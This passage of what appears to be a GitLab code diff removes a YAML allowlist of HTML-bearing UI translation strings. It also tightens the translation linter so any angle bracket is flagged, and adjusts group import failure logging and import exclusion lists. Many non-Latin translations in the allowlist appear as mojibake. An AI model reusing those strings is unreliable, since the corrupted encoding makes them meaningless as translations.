-"You can invite a new member to <strong>%{project_name}</strong> or invite another group.":
- plural_id:
- translations:
- - "æ–°ã—ã„メンãƒãƒ¼ã‚’<strong>%{project_name} </strong>ã«æ‹›å¾…ã™ã‚‹ã‹ã€åˆ¥ã®ã‚°ãƒ«ãƒ¼ãƒ—を招待ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
- - "Podes convidar um novo para <strong>%{project_name}</strong> ou convidar outro grupo."
- - "邀请新æˆå‘˜æˆ–å¦ä¸€ä¸ªç¾¤ç»„加入<strong>%{project_name}</strong>。"
- - "Puede invitar a un nuevo miembro a <strong>%{project_name}</strong> o invitar a otro grupo."
- - "<strong>%{project_name}</strong> projesine yeni bir üye davet edebilir veya başka bir grubu davet edebilirsiniz."
- - "Ð’Ñ‹ можете приглаÑить нового учаÑтника в <strong>%{project_name}</strong> или приглаÑить другую группу."
- - "Ви можете запроÑити нового учаÑника до <strong>%{project_name}</strong> або запроÑити іншу групу."
-"You can invite a new member to <strong>%{project_name}</strong>.":
- plural_id:
- translations:
- - "æ–°ã—ã„メンãƒãƒ¼ã‚’<strong>%{project_name} </strong>ã«æ‹›å¾…ã§ãã¾ã™ã€‚"
- - "Podes convidar um novo membro para <strong>%{project_name}</strong>."
- - "邀请新æˆå‘˜åŠ å…¥<strong>%{project_name}</strong>。"
- - "Puedes invitar a un nuevo miembro a <strong>%{project_name}</strong>."
- - "<strong>%{project_name}</strong> projesine yeni bir üye davet edebilirsiniz."
- - "Ð’Ñ‹ можете приглаÑить нового учаÑтника в <strong>%{project_name}</strong>."
- - "Ви можете запроÑити нового учаÑника до <strong>%{project_name}</strong>."
-"You can invite another group to <strong>%{project_name}</strong>.":
- plural_id:
- translations:
- - "ä»–ã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’<strong>%{project_name} </strong>ã«æ‹›å¾…ã§ãã¾ã™ã€‚"
- - "Podes convidar outro grupo para <strong>%{project_name}</strong>."
- - "您å¯ä»¥é‚€è¯·å¦ä¸€ä¸ªç¾¤ç»„加入<strong>%{project_name}</strong>。"
- - "Ви можете запроÑити нову групу до <strong>%{project_name}</strong>."
- - "Puedes invitar a otro grupo a <strong>%{project_name}</strong>."
-"Example: <code>192.168.0.0/24</code>. %{read_more_link}.":
- plural_id:
- translations:
-"Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\\\"%{pg_version_upcoming_url}\\\">the related epic</a> for details.":
- plural_id:
- translations:
-"Authorize <strong>%{user}</strong> to use your account?":
- plural_id:
- translations:
-"DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}.":
- plural_id:
- translations:
-"<project name>":
- translations:
- - "<название проекта>"
- - "<project name>"
- - "<proje adı>"
- - "<naziv projekta>"
- - "<Ñ–Ð¼â€™Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ>"
- - "<프로ì íŠ¸ ì´ë¦„>"
-"<strong>Deletes</strong> source branch":
- plural_id:
- translations:
- - "<strong>刪除</strong>來æºåˆ†æ”¯"
- - "<strong>Apagar</strong> branch de origem"
- - "ソースブランãƒã‚’<strong>削除</strong>"
- - "<strong>刪除</strong>來æºåˆ†æ”¯"
- - "<strong>Apagar</strong> o ramo de origem"
- - "<strong>УдалÑет</strong> иÑходную ветку"
- - "<strong>删除</strong>æºåˆ†æ”¯"
- - "<strong>ВидалÑÑ”</strong> гілку-джерело"
- - "<strong>Löscht</strong> den Quellbranch"
- - "소스 브랜치 <strong>삭제</strong>"
- - "<strong>Supprime</strong> la branche source"
- - "<strong>elimina</strong> la rama origen"
- - "Kaynak dalı <strong>siler</strong>"
-"Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored.":
- plural_id:
- translations:
- - "Você está prestes a excluir este selo. Selos excluídos <strong>não podem</strong> ser restaurados."
- - "ã“ã®ãƒãƒƒã‚¸ã‚’削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚削除ã•ã‚ŒãŸãƒãƒƒã‚¸ã¯<strong>復元ã§ãã¾ã›ã‚“</strong>。"
- - "Estás prestes a apagar este emblema. Emblemas apagados <strong>não podem</strong> ser restaurados."
- - "Ð’Ñ‹ ÑобираетеÑÑŒ удалить Ñтот значок. Удаленные значки <strong>не могут</strong> быть воÑÑтановлены."
- - "您å³å°†åˆ é™¤æ­¤å¾½ç« ã€‚å¾½ç« è¢«åˆ é™¤åŽ <strong>ä¸èƒ½</strong> æ¢å¤ã€‚"
- - "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ цей значок. Вилучені значки <strong>не можуть</strong> бути відновлені."
- - "Du bist gerade dabei dieses Badge zu entfernen. Entfernte Badges können <strong>nicht</strong> rückgängig gemacht werden."
- - "ì´ ë°°ì§€ë¥¼ 삭제하려고합니다. ì‚­ì œ ëœ ë°°ì§€ëŠ” <strong>ë³µì› í•  수 없습니다</strong>."
- - "Vous êtes sur le point de supprimer ce badge. Les badges supprimés <strong>ne peuvent pas</strong> être restaurés."
- - "Va a eliminar esta insignia. Las insignias eliminadas <strong>no se pueden</strong> restaurar."
- - "Bu rozeti sileceksiniz. Silinen rozetler geri <strong>yüklenemez</strong>."
-"ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>":
- plural_id:
- translations:
- - "ã“ã‚Œã«ã‚ˆã‚Šã€æ¬¡ã®ãƒªã‚½ãƒ¼ã‚¹ã¯å®Œå…¨ã«å‰Šé™¤ã•ã‚Œã¾ã™ <ul> <li>インストールã•ã‚Œã¦ã„ã‚‹ã™ã¹ã¦ã®ã‚¢ãƒ—リケーションã¨é–¢é€£ã—ãŸãƒªã‚½ãƒ¼ã‚¹</li> <li> <code>gitlab-managed-apps</code> åå‰ç©ºé–“</li> <li>ä»»æ„ã®ãƒ—ロジェクトåå‰ç©ºé–“</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
- - "æ­¤æ“作将永久删除下列资æºï¼š <ul> <li>所有已安装的应用程åºå’Œç›¸å…³èµ„æº</li> <li> <code>GitLab管ç†çš„应用</code> 命å空间</li> <li>任何项目命å空间</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
- - "Esto eliminará permanentemente los siguientes recursos: <ul> <li>Todas las aplicaciones instaladas y sus recursos relacionados</li> <li>El espacio de nombres <code>gitlab-managed-apps</code></li> <li>Cualquier espacio de nombres de proyecto</li> <li><code> clusterroles </code></li> <li><code>clusterrolebindings</code></li> </ul>"
-"Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}":
- plural_id:
- translations:
- - "Configure um arquivo <code>.gitlab-webide.yml</code> no diretório <code>.gitlab</code> para começar a usar o Terminal Web. %{helpStart}Saiba mais.%{helpEnd}"
- - "Webターミナルã®ä½¿ç”¨ã‚’開始ã™ã‚‹ã«ã¯ã€ <code>.gitlab</code> ディレクトリ㮠<code>.gitlab-webide.yml</code> ファイルを設定ã—ã¾ã™ã€‚ 詳細ã¯%{helpStart}ã“ã¡ã‚‰%{helpEnd}ã§ã™ã€‚"
- - "Сконфигурируйте файл <code>.gitlab-webide.yml</code> в каталоге <code>.gitlab</code> чтобы начать иÑпользовать веб-терминал. %{helpStart}Узнайте больше.%{helpEnd}"
- - "在 <code>.gitlab</code> 目录中é…ç½® <code>.gitlab-webide.yml</code> 文件以开始使用Web终端。 %{helpStart}了解更多。%{helpEnd}"
- - "Ðалаштуйте файл <code>.gitlab-webide.yml</code> у директорії <code>.gitlab</code>, щоб почати викориÑтовувати Веб-термінал. %{helpStart}Докладніше.%{helpEnd}"
- - "웹 í„°ë¯¸ë„ ì‚¬ìš©ì„ ì‹œìž‘í•˜ë„ë¡ <code>.gitlab</code> 디렉토리ì—ì„œ <code>.gitlab-webide.yml</code> 파ì¼ì„ 구성하십시오. %{helpStart}ìžì„¸ížˆ 알아보십시오.%{helpEnd}"
- - "Configure un archivo <code>.gitlab-webide.yml</code> en el directorio <code>.gitlab</code> para comenzar a utilizar el Terminal Web. %{helpStart}Aprende más.%{helpEnd}"
-"Depends on <strong>%d closed</strong> merge request.":
- plural_id: "Depends on <strong>%d closed</strong> merge requests."
- translations:
- - "Ð’ завиÑимоÑти от <strong>%d закрытого</strong> запроÑа на ÑлиÑние."
- - "Ð’ завиÑимоÑти от <strong>%d закрытых</strong> запроÑов на ÑлиÑние."
- - "Ð’ завиÑимоÑти от <strong>%d закрытых</strong> запроÑов на ÑлиÑние."
- - "Ð’ завиÑимоÑти от <strong>%d закрытых</strong> запроÑов на ÑлиÑние."
- - "ä¾èµ–于<strong>%d个已关闭的</strong>åˆå¹¶è¯·æ±‚"
- - "Залежить від %d <strong>закритого</strong> запиту на злиттÑ."
- - "Залежить від %d <strong>закритих</strong> запитів на злиттÑ."
- - "Залежить від %d <strong>закритих</strong> запитів на злиттÑ."
- - "Залежить від %d <strong>закритих</strong> запитів на злиттÑ."
- - "<strong>%d kapanan</strong> birleştirme isteğine bağlıdır."
- - "<strong>%d kapanan</strong> birleştirme isteğine bağlıdır."
-"Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board.":
- plural_id:
- translations:
- - "转至<strong>议题</strong> > <strong>看æ¿</strong>访问您的个性化学习议题看æ¿ã€‚"
-"Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>":
- plural_id:
- translations:
- - "<span>è¦è®“標籤</span> %{labelTitle} <span>æå‡åˆ°ç¾¤çµ„標籤嗎?</span>"
- - "<span>Promover a etiqueta</span> %{labelTitle} <span>para etiqueta do Grupo?</span>"
- - "%{labelTitle} <span>ラベルをグループラベルã«æ˜‡æ ¼ã—ã¾ã™ã‹ï¼Ÿ</span>"
- - "<span>ПовыÑить метку</span> %{labelTitle} <span>до групповой метки?</span>"
- - "<span>将标记</span> %{labelTitle} <span>å‡çº§ä¸ºç¾¤ç»„标记?</span>"
- - "<span>ПеренеÑти мітку</span> %{labelTitle} <span>на рівень групи?</span>"
- - "<span>Label</span> %{labelTitle} <span>zu Gruppenlabel hochstufen?</span>"
- - "<span>ë¼ë²¨</span> %{labelTitle} <span>(ì„)를 그룹 ë¼ë²¨ë¡œ 승격하시겠습니까?</span>"
- - "<span>Promouvoir l’étiquette</span> %{labelTitle} <span>en étiquette de groupe ?</span>"
- - "<span>¿Promocionar la etiqueta</span> %{labelTitle} <span>a etiqueta de grupo?</span>"
-"Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment.":
- plural_id:
- translations:
- - "Travar este %{issuableDisplayName}? Apenas <strong>membros do projeto</strong> poderão comentar."
- - "%{issuableDisplayName} をロックã—ã¾ã™ã‹ï¼Ÿ<strong>プロジェクトメンãƒãƒ¼</strong> ã®ã¿ã‚³ãƒ¡ãƒ³ãƒˆã§ãã¾ã™ã€‚"
- - "é”定此%{issuableDisplayName}å—?é”定åŽå°†åªæœ‰<strong>项目æˆå‘˜</strong>å¯ä»¥å‘表评论。"
- - "Заблокувати цю %{issuableDisplayName}? Лише <strong>учаÑники проекту</strong> зможуть коментувати."
- - "%{issuableDisplayName} sperren? Es werden nur noch <strong>Projektmitglieder</strong> kommentieren können."
- - "Verrouiller ce·t·te %{issuableDisplayName} ? Seuls les <strong>membres du projet</strong> seront en mesure de commenter."
- - "¿Bloquear este %{issuableDisplayName}? Sólo los <strong>miembros del proyecto</strong> podrán comentar."
-"PrometheusService|<p class=\\\"text-tertiary\\\">No <a href=\\\"%{docsUrl}\\\">common metrics</a> were found</p>":
- plural_id:
- translations:
- - "<p class=\\\"text-tertiary\\\">Nenhuma <a href=\\\"%{docsUrl}\\\">métrica comum</a> foi encontrada</p>"
- - "<p class=\\\"text-tertiary\\\"><a href=\\\"%{docsUrl}\\\">共通メトリクス</a>ã¯è¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ</p>"
- - "<p class=\\\"text-tertiary\\\">Ðи одной <a href=\\\"%{docsUrl}\\\">общей метрики</a> не найдено</p>"
- - "<p class=\\\"text-tertiary\\\">无<a href=\\\"%{docsUrl}\\\">常用指标</a> </p>"
- - "<p class=\\\"text-tertiary\\\">ÐÑ–Ñких <a href=\\\"%{docsUrl}\\\">загальних метрик</a> не знайдено</p>"
- - "<p class=\\\"text-tertiary\\\">Es wurden keine <a href=\\\"%{docsUrl}\\\">allgemeinen Metriken</a> gefunden</p>"
- - "<p class=\\\"text-tertiary\\\"><a href=\\\"%{docsUrl}\\\">공통 메트릭스</a>ê°€ 발견ë˜ì§€ 않았습니다.</p>"
- - "<p class=\\\"text-tertiary\\\">Aucune <a href=\\\"%{docsUrl}\\\">métrique commune</a> trouvée</p>"
- - "<p class=\\\"text-tertiary\\\">No se han encontrado<a href=\\\"%{docsUrl}\\\">métricas comunes</a> </p>"
-"This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\">enable billing <i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> and try again.":
- plural_id:
- translations:
- - "Este projeto não possui faturamento ativado. Para criar um cluster, <a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\">ative o faturamento <i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> e tente novamente."
- - "ã“ã®ãƒ—ロジェクトã§ã¯èª²é‡‘ãŒæœ‰åŠ¹ã«ãªã£ã¦ã„ã¾ã›ã‚“。クラスターを作æˆã™ã‚‹ã«ã¯ã€<a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\"> 課金を有効<i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> ã«ã—ã¦å†åº¦ãŠè©¦ã—ãã ã•ã„。"
- - "此项目未å¯ç”¨è´¦å•ã€‚è¦åˆ›å»ºç¾¤é›†ï¼Œè¯· <a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\">å¯ç”¨è´¦å• <i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> 并é‡è¯•ã€‚"
- - "Ð”Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проекту вимкнено білінг. Щоб Ñтворити клаÑтер, <a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\">увімкніть білінг <i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> Ñ– Ñпробуйте знову."
- - "Für dieses Projekt ist keine Abrechnung aktiviert. Um ein Cluster zu erstellen, <a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\">aktiviere die Abrechnung<i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> und versuche es erneut."
- - "Ce projet n’a pas de facturation activée. Afin de créer une grappe de serveurs, veuillez <a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\">activer la facturation<i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> et réessayer."
- - "Este proyecto no tiene la facturación habilitada. Para crear un clúster, <a href=%{linkToBilling} target=\\\"_blank\\\" rel=\\\"noopener noreferrer\\\">habilite la facturación <i class=\\\"fa fa-external-link\\\" aria-hidden=\\\"true\\\"></i></a> e inténtelo de nuevo."
-"Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment.":
- plural_id:
- translations:
- - "Desbloquear este %{issuableDisplayName}? <strong>Todos</strong> poderão comentar."
- - "%{issuableDisplayName} ã®ãƒ­ãƒƒã‚¯ã‚’解除ã—ã¾ã™ã‹ï¼Ÿ <strong>全員</strong>ãŒã‚³ãƒ¡ãƒ³ãƒˆã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚"
- - "解é”æ­¤%{issuableDisplayName}å—?解é”åŽ<strong>所有人</strong>都将å¯ä»¥å‘表评论。"
- - "Розблокувати %{issuableDisplayName}? <strong>Будь-хто</strong> зможе залишати коментарі."
- - "Dieses %{issuableDisplayName} entsperren? <strong>Jeder</strong> wird in der Lage sein zu kommentieren."
- - "%{issuableDisplayName}(ì„)를 잠금해제 하시겠습니까? <strong>모ë‘ê°€</strong> 코멘트 í•  수 있게 ë©ë‹ˆë‹¤."
- - "Déverrouiller %{issuableDisplayName} ? <strong>Tout le monde</strong> sera en mesure de commenter."
- - "Desbloquear este %{issuableDisplayName}? <strong>Todos</strong> podrán comentar."
-"confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue.":
- plural_id:
- translations:
- - "Você está prestes a desligar a confidencialidade. Isso significa que <strong>todos</strong> serão capazes de ver e deixar comentários nesse issue."
- - "ã‚ãªãŸã¯å…¬é–‹è¨­å®šã«å¤‰æ›´ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã‚Œã¯<strong>ã™ã¹ã¦ã®äºº</strong> ãŒé–²è¦§å¯èƒ½ã«ãªã‚Šã€èª²é¡Œã«å¯¾ã—ã¦ã‚³ãƒ¡ãƒ³ãƒˆã‚’残ã™ã“ã¨ãŒã§ãるよã†ã«ãªã‚‹ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚"
- - "å³å°†å…³é—­ç§å¯†æ€§ã€‚这将使得 <strong>所有用户</strong>都å¯ä»¥æŸ¥çœ‹å¹¶ä¸”评论当å‰è®®é¢˜ã€‚"
- - "Ви вимикаєте конфіденційніÑÑ‚ÑŒ. Це означає, що <strong>будь-хто</strong> зможе бачити Ñ– залишати коментарі Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— задачі."
- - "Du willst die Vertraulichkeit deaktivieren. Das bedeutet, dass <strong>alle</strong> das Ticket betrachten und kommentieren können."
- - "Vous êtes sur le point de désactiver la confidentialité. Cela signifie que <strong>tout le monde</strong> sera en mesure de voir et de laisser un commentaire sur ce ticket."
- - "Va a desactivar la confidencialidad. Esto significa que <strong>todos</strong> podrán ver y dejar un comentario sobre este tema."
-"confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue.":
- plural_id:
- translations:
- - "Você está prestes a ligar a confidencialidade. Isso significa que apenas membros da equipe com <strong>ao menos acesso de Relator</strong> serão capazes de ver e deixar comentários nesse issue."
- - "ã‚ãªãŸã¯å…¬é–‹è¨­å®šã«å¤‰æ›´ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã‚Œã¯ãƒãƒ¼ãƒ ã«é™å®šã—ã¦ã„ãŸ<strong>最å°é™ã®å ±å‘Šæ¨©é™</strong>ã‚’ãªãã—ã€èª²é¡Œã«å¯¾ã—ã¦ã‚³ãƒ¡ãƒ³ãƒˆã‚’残ã™ã“ã¨ãŒã§ãるよã†ã«ãªã‚‹ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚"
- - "å³å°†è®¾ç½®ç§å¯†æ€§ã€‚这将使得 <strong>至少有Reporter以上æƒé™</strong>的团队æˆå‘˜æ‰èƒ½æŸ¥çœ‹å¹¶ä¸”评论当å‰è®®é¢˜ã€‚"
- - "Ви вмикаєте конфіденційніÑÑ‚ÑŒ. Це означає що лише учаÑники команди <strong>Ñ€Ñ–Ð²Ð½Ñ Ñ€ÐµÐ¿Ð¾Ñ€Ñ‚ÐµÑ€ або вище</strong> матимуть змогу бачити та залишати коментарі Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— задачі."
- - "Du willst die Vertraulichkeit aktivieren. Das bedeutet, dass nur Teammitglieder mit <strong>mindestens Reporter-Zugriff</strong> das Ticket betrachten und kommentieren können."
- - "Vous êtes sur le point de d’activer la confidentialité. Cela signifie que seuls les membres de l’équipe avec <strong>au moins un accès en tant que rapporteur</strong> seront en mesure de voir et de laisser des commentaires sur le ticket."
- - "Va a activar la confidencialidad. Esto significa que solo los miembros del equipo con como mínimo,<strong>acceso como Reporter</strong> podrán ver y dejar comentarios sobre la incidencia."
- - "ã‚ãªãŸã¯éžå…¬é–‹è¨­å®šã‚’オンã«ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã‚Œã¯ã€æœ€ä½Žã§ã‚‚<strong>報告権é™</strong>ã‚’æŒã£ãŸãƒãƒ¼ãƒ ãƒ¡ãƒ³ãƒãƒ¼ã®ã¿ãŒèª²é¡Œã‚’表示ã—ãŸã‚Šã‚³ãƒ¡ãƒ³ãƒˆã‚’残ã—ãŸã‚Šã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ãªã‚‹ã¨ã„ã†ã“ã¨ã§ã™ã€‚"
-" or <!merge request id>":
- translations:
- - " ወይሠ<!merge request id>"
- - " ou <!merge request id>"
- - " ã¾ãŸã¯ <!merge request id>"
- - "或 <!åˆä½µè«‹æ±‚ id>"
- - " или <!merge request id>"
- - "或<!merge request id>"
- - " або <!merge request id>"
- - " oder <!merge request id>"
- - " o <!merge request id>"
- - " ë˜ëŠ” <!merge request id>"
- - " o <!merge request id>"
- - " veya <!merge request id>"
- - " neu <!merge request id>"
- - " neu <#issue id>"
-" or <#issue id>":
- translations:
- - "或 <#issue id>"
- - " ወይሠ‹#issue id›"
- - " ou <identificación #issue>"
- - " ou <#issue id>"
- - " ã¾ãŸã¯ <#課題 ID>"
- - " o <#issue id>"
- - "或 <#議題 id>"
- - " ou <#issue id>"
- - " или <#issue id>"
- - "或 <#issue id>"
- - " або <#issue id>"
- - " oder <#issue id>"
- - " o <#issue id>"
- - " ë˜ëŠ” <#issue id>"
- - " ou <#issue id>"
- - " o <#issue id>"
- - " veya <#issue id>"
- - " neu <#issue id>"
-" or <&epic id>":
- translations:
- - " ወይሠ<&epic id>"
- - " ã¾ãŸã¯ <&エピックID>"
- - " 或 <#å²è©© id>"
- - " или <&epic id>"
- - " 或<#epic id>"
- - " або <&epic id>"
- - " oder <&epic id>"
- - " o <&epic id>"
- - " veya <&epic id>"
- - " neu <#epic id>"
- - " ë˜ëŠ” <&epic id>"
-"< 1 hour":
- translations:
- - "1 時間未満"
- - "< 1 å°æ™‚"
- - "< 1 чаÑа"
- - "< 1å°æ—¶"
- - "< 1 години"
- - "< 1 hora"
- - "< 1 saat"
- - "< 1 Stunde"
- - "< 1시간"
diff --git a/lib/gitlab/i18n/po_linter.rb b/lib/gitlab/i18n/po_linter.rb
index 33054a5b9bf..3bb34ab2811 100644
--- a/lib/gitlab/i18n/po_linter.rb
+++ b/lib/gitlab/i18n/po_linter.rb
@@ -5,14 +5,13 @@ module Gitlab
class PoLinter
include Gitlab::Utils::StrongMemoize
- attr_reader :po_path, :translation_entries, :metadata_entry, :locale, :html_todolist
+ attr_reader :po_path, :translation_entries, :metadata_entry, :locale
VARIABLE_REGEX = /%{\w*}|%[a-z]/.freeze
- def initialize(po_path:, html_todolist:, locale: I18n.locale.to_s)
+ def initialize(po_path:, locale: I18n.locale.to_s)
@po_path = po_path
@locale = locale
- @html_todolist = html_todolist
end
def errors
@@ -43,8 +42,7 @@ module Gitlab
@translation_entries = entries.map do |entry_data|
Gitlab::I18n::TranslationEntry.new(
entry_data: entry_data,
- nplurals: metadata_entry.expected_forms,
- html_allowed: html_todolist.fetch(entry_data[:msgid], false)
+ nplurals: metadata_entry.expected_forms
)
end
@@ -97,15 +95,15 @@ module Gitlab
common_message = 'contains < or >. Use variables to include HTML in the string, or the &lt; and &gt; codes ' \
'for the symbols. For more info see: https://docs.gitlab.com/ee/development/i18n/externalization.html#html'
- if entry.msgid_contains_potential_html? && !entry.msgid_html_allowed?
+ if entry.msgid_contains_potential_html?
errors << common_message
end
- if entry.plural_id_contains_potential_html? && !entry.plural_id_html_allowed?
+ if entry.plural_id_contains_potential_html?
errors << 'plural id ' + common_message
end
- if entry.translations_contain_potential_html? && !entry.translations_html_allowed?
+ if entry.translations_contain_potential_html?
errors << 'translation ' + common_message
end
end
diff --git a/lib/gitlab/i18n/translation_entry.rb b/lib/gitlab/i18n/translation_entry.rb
index 25a45332d27..f3cca97950d 100644
--- a/lib/gitlab/i18n/translation_entry.rb
+++ b/lib/gitlab/i18n/translation_entry.rb
@@ -6,12 +6,11 @@ module Gitlab
PERCENT_REGEX = /(?:^|[^%])%(?!{\w*}|[a-z%])/.freeze
ANGLE_BRACKET_REGEX = /[<>]/.freeze
- attr_reader :nplurals, :entry_data, :html_allowed
+ attr_reader :nplurals, :entry_data
- def initialize(entry_data:, nplurals:, html_allowed:)
+ def initialize(entry_data:, nplurals:)
@entry_data = entry_data
@nplurals = nplurals
- @html_allowed = html_allowed
end
def msgid
@@ -97,20 +96,6 @@ module Gitlab
all_translations.any? { |translation| contains_angle_brackets?(translation) }
end
- def msgid_html_allowed?
- html_allowed.present?
- end
-
- def plural_id_html_allowed?
- html_allowed.present? && html_allowed['plural_id'] == plural_id
- end
-
- def translations_html_allowed?
- msgid_html_allowed? && html_allowed['translations'].present? && all_translations.all? do |translation|
- html_allowed['translations'].include?(translation)
- end
- end
-
private
def contains_angle_brackets?(string)
diff --git a/lib/gitlab/import_export/group/tree_restorer.rb b/lib/gitlab/import_export/group/tree_restorer.rb
index d0c0999f291..dfe27118d66 100644
--- a/lib/gitlab/import_export/group/tree_restorer.rb
+++ b/lib/gitlab/import_export/group/tree_restorer.rb
@@ -74,6 +74,12 @@ module Gitlab
group = create_group(group_attributes)
restore_group(group, group_attributes)
+ rescue => e
+ import_failure_service.log_import_failure(
+ source: 'process_child',
+ relation_key: 'group',
+ exception: e
+ )
end
def create_group(group_attributes)
@@ -83,13 +89,17 @@ module Gitlab
parent_group = @groups_mapping.fetch(parent_id) { raise(ArgumentError, 'Parent group not found') }
- ::Groups::CreateService.new(
+ group = ::Groups::CreateService.new(
user,
name: name,
path: path,
parent_id: parent_group.id,
visibility_level: sub_group_visibility_level(group_attributes.attributes, parent_group)
).execute
+
+ group.validate!
+
+ group
end
def restore_group(group, group_attributes)
@@ -134,6 +144,10 @@ module Gitlab
)
end
end
+
+ def import_failure_service
+ Gitlab::ImportExport::ImportFailureService.new(@top_level_group)
+ end
end
end
end
diff --git a/lib/gitlab/import_export/import_failure_service.rb b/lib/gitlab/import_export/import_failure_service.rb
index d4eca551b49..bf7200726a1 100644
--- a/lib/gitlab/import_export/import_failure_service.rb
+++ b/lib/gitlab/import_export/import_failure_service.rb
@@ -28,23 +28,26 @@ module Gitlab
end
def log_import_failure(source:, relation_key: nil, relation_index: nil, exception:, retry_count: 0)
- extra = {
- source: source,
- relation_key: relation_key,
+ attributes = {
relation_index: relation_index,
- retry_count: retry_count
+ source: source,
+ retry_count: retry_count,
+ importable_column_name => importable.id
}
- extra[importable_column_name] = importable.id
-
- Gitlab::ErrorTracking.track_exception(exception, extra)
-
- attributes = {
- exception_class: exception.class.to_s,
- exception_message: exception.message.truncate(255),
- correlation_id_value: Labkit::Correlation::CorrelationId.current_or_new_id
- }.merge(extra)
- ImportFailure.create(attributes)
+ Gitlab::ErrorTracking.track_exception(
+ exception,
+ attributes.merge(relation_name: relation_key)
+ )
+
+ ImportFailure.create(
+ attributes.merge(
+ exception_class: exception.class.to_s,
+ exception_message: exception.message.truncate(255),
+ correlation_id_value: Labkit::Correlation::CorrelationId.current_or_new_id,
+ relation_key: relation_key
+ )
+ )
end
private
diff --git a/lib/gitlab/import_export/importer.rb b/lib/gitlab/import_export/importer.rb
index 8e78f6e274a..789249c7d91 100644
--- a/lib/gitlab/import_export/importer.rb
+++ b/lib/gitlab/import_export/importer.rb
@@ -79,10 +79,9 @@ module Gitlab
end
def wiki_restorer
- Gitlab::ImportExport::WikiRestorer.new(path_to_bundle: wiki_repo_path,
+ Gitlab::ImportExport::RepoRestorer.new(path_to_bundle: wiki_repo_path,
shared: shared,
- project: ProjectWiki.new(project),
- wiki_enabled: project.wiki_enabled?)
+ project: ProjectWiki.new(project))
end
def design_repo_restorer
diff --git a/lib/gitlab/import_export/project/import_export.yml b/lib/gitlab/import_export/project/import_export.yml
index ae7ddbc5eba..778b42f4358 100644
--- a/lib/gitlab/import_export/project/import_export.yml
+++ b/lib/gitlab/import_export/project/import_export.yml
@@ -169,6 +169,7 @@ excluded_attributes:
- :compliance_framework_setting
- :show_default_award_emojis
- :services
+ - :exported_protected_branches
namespaces:
- :runners_token
- :runners_token_encrypted
@@ -219,6 +220,7 @@ excluded_attributes:
- :duplicated_to_id
- :promoted_to_epic_id
- :blocking_issues_count
+ - :service_desk_reply_to
merge_request:
- :milestone_id
- :sprint_id
@@ -340,10 +342,12 @@ excluded_attributes:
- :protected_environment_id
boards:
- :milestone_id
+ - :iteration_id
lists:
- :board_id
- :label_id
- :milestone_id
+ - :iteration_id
epic:
- :start_date_sourcing_milestone_id
- :due_date_sourcing_milestone_id
diff --git a/lib/gitlab/import_export/project/sample/relation_tree_restorer.rb b/lib/gitlab/import_export/project/sample/relation_tree_restorer.rb
index 44ccb67a531..4db92b12968 100644
--- a/lib/gitlab/import_export/project/sample/relation_tree_restorer.rb
+++ b/lib/gitlab/import_export/project/sample/relation_tree_restorer.rb
@@ -5,8 +5,8 @@ module Gitlab
module Project
module Sample
class RelationTreeRestorer < ImportExport::RelationTreeRestorer
- def initialize(*args)
- super
+ def initialize(...)
+ super(...)
@date_calculator = Gitlab::ImportExport::Project::Sample::DateCalculator.new(dates)
end
